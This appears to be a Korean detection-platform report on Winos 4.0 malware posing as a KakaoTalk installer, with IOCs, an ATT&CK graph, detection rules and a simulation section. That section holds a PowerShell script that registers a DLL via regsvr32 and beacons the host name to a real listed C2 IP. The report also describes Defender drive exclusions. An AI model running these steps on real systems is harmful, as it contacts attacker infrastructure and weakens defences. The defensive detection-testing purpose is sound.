카카오톡 설치 프로그램으로 위장한 Winos 4.0 멀웨어
Detection stack
- AIDR
- Alert
- ETL
- Query
개요
공격자는 SEO 독소를 이용하여 가짜 카카오톡 설치 프로그램을 검색 결과 상단에 표시하도록 했습니다. 설치 프로그램은 잘못된 코드 서명 인증서가 포함되어 있으며 Verifier.exe와 AutoRecoverDat.dll을 포함한 악성 파일을 압축 해제하는 NSIS 패키지를 내장하고 있었습니다. 실행되면 악성코드는 DLL 등록, 예약 작업 및 뮤텍스를 통해 지속성을 확보한 뒤, 별도의 C2 서버 두 곳에 연결했습니다. 그 기능에는 화면 캡처, 시스템 프로파일링, 추가 페이로드의 메모리 내 실행이 포함됩니다.
조사
AhnLab 보안 인텔리전스 센터는 3월 9일 캠페인이 시작된 이후 5,000대 이상의 PC가 침해되었다고 보고했습니다. 분석 결과 암호화된 NSIS 페이로드가 Verifier.exe와 AutoRecoverDat.dll을 암호 해독하고 드롭하며, 뮤텍스를 생성하고 GPUCache.xml 파일에서 쉘 코드를 로드한다는 사실이 밝혀졌습니다. 쉘 코드 분기에 따라 악성 코드가 192.238.129.47 또는 119.28.70.225의 C2 인프라와 접촉했습니다. 지속성은 DLL 등록 및 Verifier.exe 또는 rundll32 악성 DLL과 함께 시작되도록 예약된 작업을 통해 유지되었습니다.
완화
조직은 캠페인과 관련된 악성 도메인과 다운로드 URL을 차단해야 합니다. 엄격한 코드 서명 유효성 검사를 시행하고 유효하지 않은 인증서를 보유한 바이너리 실행을 방지해야 합니다. 애플리케이션 허용 목록을 사용하여 알려지지 않은 NSIS 설치 프로그램의 실행을 차단해야 합니다. 보안 팀은 보고서에 설명된 특정 뮤텍스, 의심스러운 예약 작업 및 레지스트리 변경 사항도 모니터링해야 합니다.
대응
탐지 팀은 뮤텍스 생성 77825d8f-46d1-42d0-b298-83068bf9e31d 및 MicrosoftWindowsAppID 아래 예약된 작업에 대해 경보를 발해야 합니다. 사용자 프로필 디렉토리 내의 Verifier.exe 및 AutoRecoverDat.dll를 추적하고, 알려진 C2 IP와 포트로의 아웃바운드 트래픽을 차단해야 합니다. 영향받은 시스템에 대한 포렌식 검토를 수행하고 모든 지속성 아티팩트 및 악성 구성 요소를 완전히 제거해야 합니다.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Technique</b> – T1593.002 검색 엔진 독소<br/><b>설명</b>: 악성 사이트를 검색 결과에서 상위에 랭크하도록 SEO 조작."] class tech_initial_access technique tech_user_exec["<b>Technique</b> – T1204 사용자 실행<br/><b>설명</b>: 피해자가 합법적인 것으로 믿고 악성 설치 프로그램을 실행."] class tech_user_exec technique tech_obfuscation["<b>Technique</b> – T1027 난독화된 파일 또는 정보<br/><b>설명</b>: NSIS 설치 프로그램에 암호화된 페이로드이며 런타임 시 복호화."] class tech_obfuscation technique tech_powershell["<b>Technique</b> – T1059.001 PowerShell<br/><b>설명</b>: cmd를 통해 PowerShell 명령어 실행하여 Defender 설정 변경."] class tech_powershell technique tech_exclusions["<b>Technique</b> – T1564.012 파일/경로 제외<br/><b>설명</b>: Windows Defender에 C:, D:, E:, F: 제외 항목 추가."] class tech_exclusions technique tech_rundll32["<b>Technique</b> – T1218.011 Rundll32 프록시 실행<br/><b>설명</b>: rundll32.exe를 사용하여 악성 AutoRecoverDat.dll을 로드."] class tech_rundll32 technique tech_appcert["<b>Technique</b> – T1546.009 AppCert DLLs<br/><b>설명</b>: AppCert가 로드될 때 실행되도록 DLL 등록, 지속성 및 권한 상승 가능."] class tech_appcert technique tech_schtask["<b>Technique</b> – T1053 예약 작업/일자리<br/><b>설명</b>: 시스템 시작 시 Verifier.exe와 rundll32를 실행하도록 작업 생성."] class tech_schtask technique tech_c2_nonstd["<b>Technique</b> – T1571 비표준 포트<br/><b>설명</b>: 포트 18852 및 443에서 C2 서버와 통신."] class tech_c2_nonstd technique tech_port_knocking["<b>Technique</b> – T1205.001 포트 노킹<br/><b>설명</b>: C2 트래픽을 숨기기 위해 포트 노킹을 사용."] class tech_port_knocking technique tech_dynamic_res["<b>Technique</b> – T1568 동적 해결<br/><b>설명</b>: 런타임에서 C2 주소를 해결하고, 중국 AV 제품의 존재에 적응."] class tech_dynamic_res technique tech_indicator_removal["<b>Technique</b> – T1027.005 도구에서 지표 제거<br/><b>설명</b>: 특정 AV 제품을 확인하고 지속성을 이에 맞게 변경."] class tech_indicator_removal technique tech_software_disc["<b>Technique</b> – T1518.001 소프트웨어 발견<br/><b>설명</b>: 정찰을 위해 설치된 소프트웨어 목록 수집."] class tech_software_disc technique tech_path_intercept["<b>Technique</b> – T1574.009 비인용 경로에 의한 경로 가로채기<br/><b>설명</b>: 비인용 서비스 경로를 악용해 악성 DLL을 로드."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>파일</b>: 악성 NSIS 설치 프로그램 (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>파일</b>: Verifier.exe"] class file_verifier malware file_dll["<b>파일</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>프로세스</b>: powershell.exe (Defender 제외 추가)"] class proc_powershell process proc_rundll32["<b>프로세스</b>: rundll32.exe (AutoRecoverDat.dll을 로드)"] class proc_rundll32 process proc_schtask["<b>프로세스</b>: schtasks.exe (예약 작업 생성)"] class proc_schtask process %% Connections – Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc "
공격 흐름
탐지
Rundll32 DLL 의심스러운 경로 실행 (프로세스 생성 기준)
보기
Windows Defender 환경 설정 의심스러운 변경 사항 (powershell 기준)
보기
의심스러운 명령 및 제어 비정상상위 도메인 (TLD) DNS 요청 (dns 기준)
보기
IOCs (HashMd5)로 Winos4.0 멀웨어 감지: KakaoTalk 설치 프로그램으로 가장된 멀웨어
보기
IOCs (DestinationIP)로 Winos4.0 멀웨어 감지: KakaoTalk 설치 프로그램으로 가장된 멀웨어
보기
IOCs (SourceIP)로 Winos4.0 멀웨어 감지: KakaoTalk 설치 프로그램으로 가장된 멀웨어
보기
Winos4.0 멀웨어 활동 탐지 [Windows 프로세스 생성]
보기
GPUCache 파일을 통한 Winos4.0 멀웨어의 C2 통신 [Windows 네트워크 연결]
보기
시뮬레이션 실행
사전 조건: Telemetry 및 Baseline 사전 점검이 통과되어야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 설명은 식별된 TTP와 직접적으로 반영되어야 하며 탐지 논리가 예상하는 정확한 원격 측정을 생성하도록 해야 합니다.
-
공격 내러티브 및 명령:
공격자는 이미 악성 DLL을 다음의
%LOCALAPPDATA%MicrosoftWindowsGPUCache디렉토리에 합법적인 캐시 파일로 위장해 배치했습니다. 페이로드를 실행하기 위해 공격자는 Regsvr32 (T1218.012)를 활용하여 DLL을 로드한 후 로드된 구성 요소를 사용하여 하드코딩된 서버 192.238.129.47로 TCP 포트 18852(또는 HTTPS 포트 443)를 통한 C2 통신을 시작합니다. 이 네트워크 흐름은 Sigma 규칙이 감시하는 관측 가능한 지표입니다.- Regsvr32를 사용하여 악성 DLL 로드
regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" - C2 비콘 시작 (악성 DLL은 C2 서버로의 TCP 소켓을 엽니다). 테스트를 위해, 동일한 IP/포트에 연결하는 간단한 PowerShell TCP 클라이언트로 비콘을 에뮬레이트합니다.
$c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852) $stream = $c2.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME") $stream.Write($payload,0,$payload.Length) $stream.Close() $c2.Close()
- Regsvr32를 사용하여 악성 DLL 로드
-
회귀 테스트 스크립트: 다음 스크립트는 위의 단계를 처음부터 끝까지 재현하며 Sigma 규칙이 예상하는 정확한 네트워크 원격 측정을 생성할 것입니다.
# ------------------------------------------------- # Winos4.0 C2 시뮬레이션 – Sigma 규칙을 트리거 # ------------------------------------------------- # 1. Regsvr32을 통해 악성(시뮬레이션된) DLL 로드 $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Write-Host "[*] Regsvr32을 통해 악성 DLL 등록 중..." regsvr32 /s $dllPath } else { Write-Error "[-] 시뮬레이션된 DLL을 $dllPath에서 찾을 수 없음 – 중단 중." exit 1 } # 2. 하드코딩된 IP/포트로의 C2 비콘 에뮬레이트 $c2IP = '192.238.129.47' $c2Port = 18852 Write-Host "[*] $c2IP:$c2Port로 TCP 연결 설정 중..." try { $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port) $stream = $client.GetStream() $msg = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)" $bytes = [System.Text.Encoding]::ASCII.GetBytes($msg) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] Beacon 전송 완료." } catch { Write-Error "[-] 연결 실패: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } } # ------------------------------------------------- -
정리 명령어: 임시 아티팩트를 제거하고 남은 연결을 닫습니다.
# 시뮬레이션된 악성 DLL 제거(테스트 아티팩트인 경우) $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Remove-Item -Path $dllPath -Force Write-Host "[*] 시뮬레이션된 DLL 정리 완료." } # 고아로 남은 TCP 리스너가 없도록 확인(클라이언트 측에서만 필요하지 않음) Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object { # 필요한 동작 없음; 스크립트 내에서 연결이 닫힙니다. }